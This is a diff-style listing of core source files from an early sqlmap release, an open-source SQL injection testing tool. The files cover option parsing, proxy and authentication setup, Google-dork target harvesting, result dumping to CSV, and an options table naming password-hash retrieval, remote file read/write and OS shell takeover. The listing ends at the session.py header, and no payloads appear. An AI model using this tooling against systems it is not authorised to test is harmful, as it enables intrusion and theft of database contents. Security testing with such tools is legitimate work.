You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.datatype import advancedDict
from lib.core.settings import LOGGER
# sqlmap paths
paths = advancedDict()
# object to share within function and classes command
# line options and settings
conf = advancedDict()
# object to share within function and classes results
kb = advancedDict()
# object to share within function and classes temporary data,
# just for internal use
temp = advancedDict()
# object with each database management system specific queries
queries = {}
# logger
logger = LOGGER

77
lib/core/datatype.py Normal file
View File

@@ -0,0 +1,77 @@
#!/usr/bin/env python
"""
$Id: datatype.py 316 2008-08-03 22:56:20Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapDataException
class advancedDict(dict):
"""
This class defines the sqlmap object, inheriting from Python data
type dictionary.
"""
def __init__(self, indict=None, attribute=None):
if indict is None:
indict = {}
# Set any attributes here - before initialisation
# these remain as normal attributes
self.attribute = attribute
dict.__init__(self, indict)
self.__initialised = True
# After initialisation, setting attributes
# is the same as setting an item
def __getattr__(self, item):
"""
Maps values to attributes
Only called if there *is NOT* an attribute with this name
"""
try:
return self.__getitem__(item)
except KeyError:
raise sqlmapDataException, "Unable to access item '%s'" % item
def __setattr__(self, item, value):
"""
Maps attributes to values
Only if we are initialised
"""
# This test allows attributes to be set in the __init__ method
if not self.__dict__.has_key('_advancedDict__initialised'):
return dict.__setattr__(self, item, value)
# Any normal attributes are handled normally
elif self.__dict__.has_key(item):
dict.__setattr__(self, item, value)
else:
self.__setitem__(item, value)

307
lib/core/dump.py Normal file
View File

@@ -0,0 +1,307 @@
#!/usr/bin/env python
"""
$Id: dump.py 360M 2008-10-15 00:04:47Z (local) $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import os
from lib.core.common import dataToDumpFile
from lib.core.common import filePathToString
from lib.core.data import conf
from lib.core.data import logger
class Dump:
"""
This class defines methods used to parse and output the results
of SQL injection actions
"""
def __init__(self):
self.__outputFile = None
self.__outputFP = None
def __write(self, data, n=True, rFile=False):
if n:
print data
self.__outputFP.write("%s\n" % data)
# TODO: do not duplicate queries output in the text file, check
# before if the data is already within the text file content
if rFile and conf.rFile:
rFile = filePathToString(conf.rFile)
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
rFileFP.write(data)
rFileFP.close()
else:
print data,
self.__outputFP.write("%s " % data)
self.__outputFP.flush()
conf.loggedToOut = True
def setOutputFile(self):
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
self.__outputFP = open(self.__outputFile, "a")
def string(self, header, data):
if isinstance(data, (list, tuple, set)):
self.lister(header, data)
return
if data:
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
data = data.replace("__START__", "").replace("__STOP__", "")
data = data.replace("__DEL__", ", ")
if "\n" in data:
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header)
else:
self.__write("%s: '%s'\n" % (header, data))
else:
self.__write("%s:\tNone\n" % header)
def lister(self, header, elements):
self.__write("%s [%d]:" % (header, len(elements)))
try:
elements = set(elements)
elements = list(elements)
elements.sort(key=lambda x: x.lower())
except:
pass
for element in elements:
if isinstance(element, str):
self.__write("[*] %s" % element)
elif isinstance(element, (list, tuple, set)):
self.__write("[*] " + ", ".join(e for e in element))
self.__write("")
def userSettings(self, header, userSettings, subHeader):
self.__areAdmins = set()
self.__write("%s:" % header)
if isinstance(userSettings, (tuple, list, set)):
self.__areAdmins = userSettings[1]
userSettings = userSettings[0]
users = userSettings.keys()
users.sort(key=lambda x: x.lower())
for user in users:
settings = userSettings[user]
if user in self.__areAdmins:
self.__write("[*] %s (administrator) [%d]:" % (user, len(settings)))
else:
self.__write("[*] %s [%d]:" % (user, len(settings)))
settings.sort()
for setting in settings:
self.__write(" %s: %s" % (subHeader, setting))
print
def dbTables(self, dbTables):
maxlength = 0
for tables in dbTables.values():
for table in tables:
maxlength = max(maxlength, len(table))
lines = "-" * (int(maxlength) + 2)
for db, tables in dbTables.items():
tables.sort(key=lambda x: x.lower())
self.__write("Database: %s" % db)
if len(tables) == 1:
self.__write("[1 table]")
else:
self.__write("[%d tables]" % len(tables))
self.__write("+%s+" % lines)
for table in tables:
blank = " " * (maxlength - len(table))
self.__write("| %s%s |" % (table, blank))
self.__write("+%s+\n" % lines)
def dbTableColumns(self, tableColumns):
for db, tables in tableColumns.items():
if not db:
db = "All"
for table, columns in tables.items():
maxlength1 = 0
maxlength2 = 0
colList = columns.keys()
colList.sort(key=lambda x: x.lower())
for column in colList:
colType = columns[column]
maxlength1 = max(maxlength1, len(column))
maxlength2 = max(maxlength2, len(colType))
maxlength1 = max(maxlength1, len("COLUMN"))
maxlength2 = max(maxlength2, len("TYPE"))
lines1 = "-" * (int(maxlength1) + 2)
lines2 = "-" * (int(maxlength2) + 2)
self.__write("Database: %s\nTable: %s" % (db, table))
if len(columns) == 1:
self.__write("[1 column]")
else:
self.__write("[%d columns]" % len(columns))
self.__write("+%s+%s+" % (lines1, lines2))
blank1 = " " * (maxlength1 - len("COLUMN"))
blank2 = " " * (maxlength2 - len("TYPE"))
self.__write("| Column%s | Type%s |" % (blank1, blank2))
self.__write("+%s+%s+" % (lines1, lines2))
for column in colList:
colType = columns[column]
blank1 = " " * (maxlength1 - len(column))
blank2 = " " * (maxlength2 - len(colType))
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
self.__write("+%s+%s+\n" % (lines1, lines2))
def dbTableValues(self, tableValues):
db = tableValues["__infos__"]["db"]
if not db:
db = "All"
table = tableValues["__infos__"]["table"]
if not conf.googleDork:
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
if not os.path.isdir(dumpDbPath):
os.makedirs(dumpDbPath, 0755)
dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table)
dumpFP = open(dumpFileName, "w")
count = int(tableValues["__infos__"]["count"])
separator = ""
field = 1
fields = len(tableValues) - 1
columns = tableValues.keys()
columns.sort(key=lambda x: x.lower())
for column in columns:
if column != "__infos__":
info = tableValues[column]
lines = "-" * (int(info["length"]) + 2)
separator += "+%s" % lines
separator += "+"
self.__write("Database: %s\nTable: %s" % (db, table))
if count == 1:
self.__write("[1 entry]")
else:
self.__write("[%d entries]" % count)
self.__write(separator)
for column in columns:
if column != "__infos__":
info = tableValues[column]
maxlength = int(info["length"])
blank = " " * (maxlength - len(column))
self.__write("| %s%s" % (column, blank), n=False)
if not conf.googleDork and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % column)
else:
dataToDumpFile(dumpFP, "\"%s\"," % column)
field += 1
self.__write("|\n%s" % separator)
if not conf.googleDork:
dataToDumpFile(dumpFP, "\n")
for i in range(count):
field = 1
for column in columns:
if column != "__infos__":
info = tableValues[column]
value = info["values"][i]
if re.search("^[\ *]*$", value):
value = "NULL"
maxlength = int(info["length"])
blank = " " * (maxlength - len(value))
self.__write("| %s%s" % (value, blank), n=False)
if field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % value)
else:
dataToDumpFile(dumpFP, "\"%s\"," % value)
field += 1
self.__write("|")
if not conf.googleDork:
dataToDumpFile(dumpFP, "\n")
self.__write("%s\n" % separator)
if not conf.googleDork:
dataToDumpFile(dumpFP, "\n")
dumpFP.close()
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
# object to manage how to print the retrieved queries output to
# standard output and sessions file
dumper = Dump()

109
lib/core/exception.py Normal file
View File

@@ -0,0 +1,109 @@
#!/usr/bin/env python
"""
$Id: exception.py 316 2008-08-03 22:56:20Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.settings import VERSION_STRING
class sqlmapConnectionException(Exception):
pass
class sqlmapDataException(Exception):
pass
class sqlmapFilePathException(Exception):
pass
class sqlmapGenericException(Exception):
pass
class sqlmapMissingMandatoryOptionException(Exception):
pass
class sqlmapNoneDataException(Exception):
pass
class sqlmapRegExprException(Exception):
pass
class sqlmapSyntaxException(Exception):
pass
class sqlmapUndefinedMethod(Exception):
pass
class sqlmapMissingPrivileges(Exception):
pass
class sqlmapNotVulnerableException(Exception):
pass
class sqlmapUnsupportedDBMSException(Exception):
pass
class sqlmapUnsupportedFeatureException(Exception):
pass
class sqlmapValueException(Exception):
pass
def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "this and the following traceback and send us by email. "
errMsg += "We will fix it as soon as possible:"
return errMsg
exceptionsTuple = (
sqlmapConnectionException,
sqlmapDataException,
sqlmapFilePathException,
sqlmapGenericException,
sqlmapMissingMandatoryOptionException,
sqlmapNoneDataException,
sqlmapRegExprException,
sqlmapSyntaxException,
sqlmapUndefinedMethod,
sqlmapMissingPrivileges,
sqlmapNotVulnerableException,
sqlmapUnsupportedDBMSException,
sqlmapUnsupportedFeatureException,
sqlmapValueException,
)

571
lib/core/option.py Normal file
View File

@@ -0,0 +1,571 @@
#!/usr/bin/env python
"""
$Id: option.py 321M 2008-10-13 22:58:44Z (local) $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import cookielib
import logging
import os
import re
import time
import urllib2
import urlparse
from lib.core.common import parseTargetUrl
from lib.core.common import paths
from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import sanitizeStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.datatype import advancedDict
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.optiondict import optDict
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import VERSION_STRING
from lib.core.update import update
from lib.parse.configfile import configFileParser
from lib.parse.queriesfile import queriesParser
from lib.request.proxy import ProxyHTTPSHandler
from lib.utils.google import Google
authHandler = urllib2.BaseHandler()
proxyHandler = urllib2.BaseHandler()
def __urllib2Opener():
"""
This function creates the urllib2 OpenerDirector.
"""
global authHandler
global proxyHandler
debugMsg = "creating HTTP requests opener object"
logger.debug(debugMsg)
conf.cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
urllib2.install_opener(opener)
def __setGoogleDorking():
"""
This function checks if the way to request testable hosts is through
Google dorking then requests to Google the search parameter, parses
the results and save the testable hosts into the knowledge base.
"""
global proxyHandler
if not conf.googleDork:
return
debugMsg = "initializing Google dorking requests"
logger.debug(debugMsg)
logMsg = "first request to Google to get the session cookie"
logger.info(logMsg)
googleObj = Google(proxyHandler)
googleObj.getCookie()
matches = googleObj.search(conf.googleDork)
if not matches:
errMsg = "unable to find results for your "
errMsg += "Google dork expression"
raise sqlmapGenericException, errMsg
kb.targetUrls = googleObj.getTargetUrls()
if kb.targetUrls:
logMsg = "sqlmap got %d results for your " % len(matches)
logMsg += "Google dork expression, "
if len(matches) == len(kb.targetUrls):
logMsg += "all "
else:
logMsg += "%d " % len(kb.targetUrls)
logMsg += "of them are testable hosts"
logger.info(logMsg)
else:
errMsg = "sqlmap got %d results " % len(matches)
errMsg += "for your Google dork expression, but none of them "
errMsg += "have GET parameters to test for SQL injection"
raise sqlmapGenericException, errMsg
def __setRemoteDBMS():
"""
Checks and set the back-end DBMS option.
"""
if not conf.dbms:
return
debugMsg = "forcing back-end DBMS to user defined value"
logger.debug(debugMsg)
conf.dbms = conf.dbms.lower()
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
if dbmsRegExp:
conf.dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)]
if conf.dbms not in SUPPORTED_DBMS:
errMsg = "you provided an unsupported back-end database management "
errMsg += "system. The supported DBMS are MySQL, PostgreSQL, "
errMsg += "Microsoft SQL Server and Oracle. If you do not know "
errMsg += "the back-end DBMS, do not provide it and sqlmap will "
errMsg += "fingerprint it for you."
raise sqlmapUnsupportedDBMSException, errMsg
def __setThreads():
if conf.threads <= 0:
conf.threads = 1
def __setHTTPProxy():
"""
Check and set the HTTP proxy to pass by all HTTP requests.
"""
global proxyHandler
if not conf.proxy:
return
parseTargetUrl()
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
logger.debug(debugMsg)
__proxySplit = urlparse.urlsplit(conf.proxy)
__hostnamePort = __proxySplit[1].split(":")
__scheme = __proxySplit[0]
__hostname = __hostnamePort[0]
__port = None
if len(__hostnamePort) == 2:
__port = int(__hostnamePort[1])
if not __scheme or not __hostname or not __port:
errMsg = "proxy value must be in format 'http://url:port'"
raise sqlmapSyntaxException, errMsg
__proxyString = "%s:%d" % (__hostname, __port)
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
# can't be tunneled over an HTTP proxy natively by Python urllib2
# standard library
if conf.scheme == "https":
proxyHandler = ProxyHTTPSHandler(__proxyString)
else:
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
def __setHTTPAuthentication():
"""
Check and set the HTTP authentication method (Basic or Digest),
username and password to perform HTTP requests with.
"""
global authHandler
if not conf.aType and not conf.aCred:
return
elif conf.aType and not conf.aCred:
errMsg = "you specified the HTTP Authentication type, but "
errMsg += "did not provide the credentials"
raise sqlmapSyntaxException, errMsg
elif not conf.aType and conf.aCred:
errMsg = "you specified the HTTP Authentication credentials, "
errMsg += "but did not provide the type"
raise sqlmapSyntaxException, errMsg
parseTargetUrl()
debugMsg = "setting the HTTP Authentication type and credentials"
logger.debug(debugMsg)
aTypeLower = conf.aType.lower()
if aTypeLower not in ( "basic", "digest" ):
errMsg = "HTTP Authentication type value must be "
errMsg += "Basic or Digest"
raise sqlmapSyntaxException, errMsg
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
if not aCredRegExp:
errMsg = "HTTP Authentication credentials value must be "
errMsg += "in format username:password"
raise sqlmapSyntaxException, errMsg
authUsername = aCredRegExp.group(1)
authPassword = aCredRegExp.group(2)
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
if aTypeLower == "basic":
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
elif aTypeLower == "digest":
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
def __setHTTPMethod():
"""
Check and set the HTTP method to perform HTTP requests through.
"""
if conf.method:
debugMsg = "setting the HTTP method to perform HTTP requests through"
logger.debug(debugMsg)
conf.method = conf.method.upper()
if conf.method not in ("GET", "POST"):
warnMsg = "'%s' " % conf.method
warnMsg += "is an unsupported HTTP method, "
warnMsg += "setting to default method, GET"
logger.warn(warnMsg)
conf.method = "GET"
else:
conf.method = "GET"
def __defaultHTTPUserAgent():
"""
@return: default sqlmap HTTP User-Agent header
@rtype: C{str}
"""
return "%s (%s)" % (VERSION_STRING, SITE)
def __setHTTPUserAgent():
"""
Set the HTTP User-Agent header.
Depending on the user options it can be:
* The default sqlmap string
* A default value read as user option
* A random value read from a list of User-Agent headers from a
file choosed as user option
"""
if conf.agent:
debugMsg = "setting the HTTP User-Agent header"
logger.debug(debugMsg)
conf.httpHeaders.append(("User-Agent", conf.agent))
return
if not conf.userAgentsFile:
conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
return
debugMsg = "fetching random HTTP User-Agent header from "
debugMsg += "file '%s'" % conf.userAgentsFile
logger.debug(debugMsg)
try:
fd = open(conf.userAgentsFile)
except IOError:
warnMsg = "unable to read HTTP User-Agent header "
warnMsg += "file '%s'" % conf.userAgentsFile
logger.warn(warnMsg)
conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
return
__count = 0
__userAgents = []
while True:
line = fd.readline()
if not line:
break
__userAgents.append(line)
__count += 1
fd.close()
if __count == 1:
__userAgent = __userAgents[0]
else:
__userAgent = __userAgents[randomRange(stop=__count)]
__userAgent = sanitizeStr(__userAgent)
conf.httpHeaders.append(("User-Agent", __userAgent))
logMsg = "fetched random HTTP User-Agent header from "
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
logger.info(logMsg)
def __setHTTPReferer():
"""
Set the HTTP Referer
"""
if conf.referer:
debugMsg = "setting the HTTP Referer header"
logger.debug(debugMsg)
conf.httpHeaders.append(("Referer", conf.referer))
def __setHTTPCookies():
"""
Set the HTTP Cookie header
"""
if conf.cookie:
debugMsg = "setting the HTTP Cookie header"
logger.debug(debugMsg)
conf.httpHeaders.append(("Connection", "Keep-Alive"))
conf.httpHeaders.append(("Cookie", conf.cookie))
def __cleanupOptions():
"""
Cleanup configuration attributes.
"""
debugMsg = "cleaning up configuration parameters"
logger.debug(debugMsg)
if conf.testParameter:
conf.testParameter = conf.testParameter.replace(" ", "")
conf.testParameter = conf.testParameter.split(",")
else:
conf.testParameter = []
if conf.db:
conf.db = conf.db.replace(" ", "")
if conf.tbl:
conf.tbl = conf.tbl.replace(" ", "")
if conf.col:
conf.col = conf.col.replace(" ", "")
if conf.user:
conf.user = conf.user.replace(" ", "")
def __setConfAttributes():
"""
This function set some needed attributes into the configuration
singleton.
"""
debugMsg = "initializing the configuration"
logger.debug(debugMsg)
conf.cj = None
conf.dbmsHandler = None
conf.dumpPath = None
conf.httpHeaders = []
conf.hostname = None
conf.loggedToOut = None
conf.outputPath = None
conf.paramDict = {}
conf.parameters = {}
conf.path = None
conf.port = None
conf.scheme = None
conf.sessionFP = None
conf.start = True
def __setKnowledgeBaseAttributes():
"""
This function set some needed attributes into the knowledge base
singleton.
"""
debugMsg = "initializing the knowledge base"
logger.debug(debugMsg)
kb.absFilePaths = set()
kb.defaultResult = None
kb.docRoot = None
kb.dbms = None
kb.dbmsDetected = False
kb.dbmsVersion = None
kb.htmlFp = []
kb.injParameter = None
kb.injPlace = None
kb.injType = None
kb.parenthesis = None
kb.resumedQueries = {}
kb.targetUrls = set()
kb.unionComment = ""
kb.unionCount = None
kb.unionPosition = None
def __saveCmdline():
"""
Saves the command line options on a sqlmap configuration INI file
format.
"""
if not conf.saveCmdline:
return
debugMsg = "saving command line options on a sqlmap configuration INI file"
logger.debug(debugMsg)
userOpts = {}
for family in optDict.keys():
userOpts[family] = []
for option, value in conf.items():
for family, optionData in optDict.items():
if option in optionData:
userOpts[family].append((option, value, optionData[option]))
confFP = open(paths.SQLMAP_CONFIG, "w")
for family, optionData in userOpts.items():
confFP.write("[%s]\n" % family)
optionData.sort()
for option, value, datatype in optionData:
if value == None:
if datatype == "boolean":
value = "False"
elif datatype == "integer":
value = "1"
elif datatype == "string":
value = ""
confFP.write("%s = %s\n" % (option, value))
confFP.write("\n")
confFP.flush()
confFP.close()
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
logger.info(infoMsg)
def __setVerbosity():
"""
This function set the verbosity of sqlmap output messages.
"""
if not conf.verbose:
conf.verbose = 0
return
conf.verbose = int(conf.verbose)
if conf.verbose <= 1:
logger.setLevel(logging.INFO)
elif conf.verbose > 1 and conf.eta:
conf.verbose = 1
logger.setLevel(logging.INFO)
elif conf.verbose == 2:
logger.setLevel(logging.DEBUG)
elif conf.verbose == 3:
logger.setLevel(9)
elif conf.verbose >= 4:
logger.setLevel(8)
def __mergeOptions(inputOptions):
"""
Merge command line options with configuration file options.
@param inputOptions: optparse object with command line options.
@type inputOptions: C{instance}
"""
if inputOptions.configFile:
configFileParser(inputOptions.configFile)
for key, value in inputOptions.__dict__.items():
if not conf.has_key(key) or conf[key] == None or value != None:
conf[key] = value
def init(inputOptions=advancedDict()):
"""
Set attributes into both configuration and knowledge base singletons
based upon command line and configuration file options.
"""
__mergeOptions(inputOptions)
__setVerbosity()
__saveCmdline()
__setConfAttributes()
__setKnowledgeBaseAttributes()
__cleanupOptions()
__setHTTPCookies()
__setHTTPReferer()
__setHTTPUserAgent()
__setHTTPMethod()
__setHTTPAuthentication()
__setHTTPProxy()
__setThreads()
__setRemoteDBMS()
__setGoogleDorking()
__urllib2Opener()
update()
queriesParser()

95
lib/core/optiondict.py Normal file
View File

@@ -0,0 +1,95 @@
#!/usr/bin/env python
"""
$Id: optiondict.py 368 2008-09-30 00:09:59Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
optDict = {
# Family: { "parameter_name": "parameter_datatype",
"Request": {
"url": "string",
"googleDork": "string",
"testParameter": "string",
"method": "string",
"data": "string",
"cookie": "string",
"referer": "string",
"agent": "string",
"userAgentsFile": "string",
"aType": "string",
"aCred": "string",
"proxy": "string",
"threads": "integer",
},
"Injection": {
"string": "string",
"dbms": "string",
},
"Fingerprint": {
"extensiveFp": "boolean",
},
"Enumeration": {
"getBanner": "boolean",
"getCurrentUser": "boolean",
"getCurrentDb": "boolean",
"getUsers": "boolean",
"getPasswordHashes": "boolean",
"getPrivileges": "boolean",
"getDbs": "boolean",
"getTables": "boolean",
"getColumns": "boolean",
"dumpTable": "boolean",
"dumpAll": "boolean",
"user": "string",
"db": "string",
"tbl": "string",
"col": "string",
"excludeSysDbs": "boolean",
"limitStart": "integer",
"limitStop": "integer",
"query": "string",
"sqlShell": "boolean",
},
"File system": {
"rFile": "string",
"wFile": "string",
},
"Takeover": {
"osShell": "boolean",
},
"Miscellaneous": {
"unionTest": "boolean",
"unionUse": "boolean",
"eta": "boolean",
"verbose": "integer",
"updateAll": "boolean",
"sessionFile": "string",
"batch": "boolean",
},
}

111
lib/core/progress.py Normal file
View File

@@ -0,0 +1,111 @@
#!/usr/bin/env python
"""
$Id: progress.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import dataToStdout
class ProgressBar:
"""
This class defines methods to update and draw a progress bar
"""
def __init__(self, minValue=0, maxValue=10, totalWidth=54):
self.__progBar = "[]"
self.__oldProgBar = ""
self.__min = minValue
self.__max = maxValue
self.__span = maxValue - minValue
self.__width = totalWidth
self.__amount = 0
self.update()
def __convertSeconds(self, value):
seconds = value
minutes = seconds / 60
seconds = seconds - (minutes * 60)
return "%.2d:%.2d" % (minutes, seconds)
def update(self, newAmount=0):
"""
This method updates the progress bar
"""
if newAmount < self.__min:
newAmount = self.__min
elif newAmount > self.__max:
newAmount = self.__max
self.__amount = newAmount
# Figure out the new percent done, round to an integer
diffFromMin = float(self.__amount - self.__min)
percentDone = (diffFromMin / float(self.__span)) * 100.0
percentDone = round(percentDone)
percentDone = int(percentDone)
# Figure out how many hash bars the percentage should be
allFull = self.__width - 2
numHashes = (percentDone / 100.0) * allFull
numHashes = int(round(numHashes))
# Build a progress bar with an arrow of equal signs
if numHashes == 0:
self.__progBar = "[>%s]" % (" " * (allFull - 1))
elif numHashes == allFull:
self.__progBar = "[%s]" % ("=" * allFull)
else:
self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1),
" " * (allFull - numHashes))
# Add the percentage at the beginning of the progress bar
percentString = str(percentDone) + "%"
self.__progBar = "%s %s" % (percentString, self.__progBar)
def draw(self, eta=0):
"""
This method draws the progress bar if it has changed
"""
if self.__progBar != self.__oldProgBar:
self.__oldProgBar = self.__progBar
if eta and self.__amount < self.__max:
dataToStdout("\r%s %d/%d ETA %s" % (self.__progBar, self.__amount, self.__max, self.__convertSeconds(int(eta))))
else:
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
def __str__(self):
"""
This method returns the progress bar string
"""
return str(self.__progBar)

94
lib/core/readlineng.py Normal file
View File

@@ -0,0 +1,94 @@
#!/usr/bin/env python
"""
$Id: readlineng.py 326 2008-08-27 12:20:15Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Based on IPython readline library (IPython/rlineimpl.py), imports and
provides the "correct" version of readline for the platform.
In addition to normal readline stuff, this module provides haveReadline
boolean and _outputfile variable used in genutils.
"""
import sys
from lib.core.data import logger
try:
from readline import *
import readline as _rl
haveReadline = True
except ImportError:
try:
from pyreadline import *
import pyreadline as _rl
haveReadline = True
except ImportError:
haveReadline = False
if sys.platform == 'win32' and haveReadline:
try:
_outputfile=_rl.GetOutputFile()
except AttributeError:
debugMsg = "Failed GetOutputFile when using platform's "
debugMsg += "readline library"
logger.debug(debugMsg)
haveReadline = False
# Test to see if libedit is being used instead of GNU readline.
# Thanks to Boyd Waters for this patch.
uses_libedit = False
if sys.platform == 'darwin' and haveReadline:
import commands
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
if status == 0 and len(result) > 0:
# We are bound to libedit - new in Leopard
_rl.parse_and_bind("bind ^I rl_complete")
debugMsg = "Leopard libedit detected when using platform's "
debugMsg += "readline library"
logger.debug(debugMsg)
uses_libedit = True
# the clear_history() function was only introduced in Python 2.4 and is
# actually optional in the readline API, so we must explicitly check for its
# existence. Some known platforms actually don't have it. This thread:
# http://mail.python.org/pipermail/python-dev/2003-August/037845.html
# has the original discussion.
if haveReadline:
try:
_rl.clear_history
except AttributeError:
def clear_history():
pass
_rl.clear_history = clear_history

282
lib/core/session.py Normal file
View File

@@ -0,0 +1,282 @@
#!/usr/bin/env python
"""
$Id: session.py 368 2008-09-30 00:09:59Z inquisb $
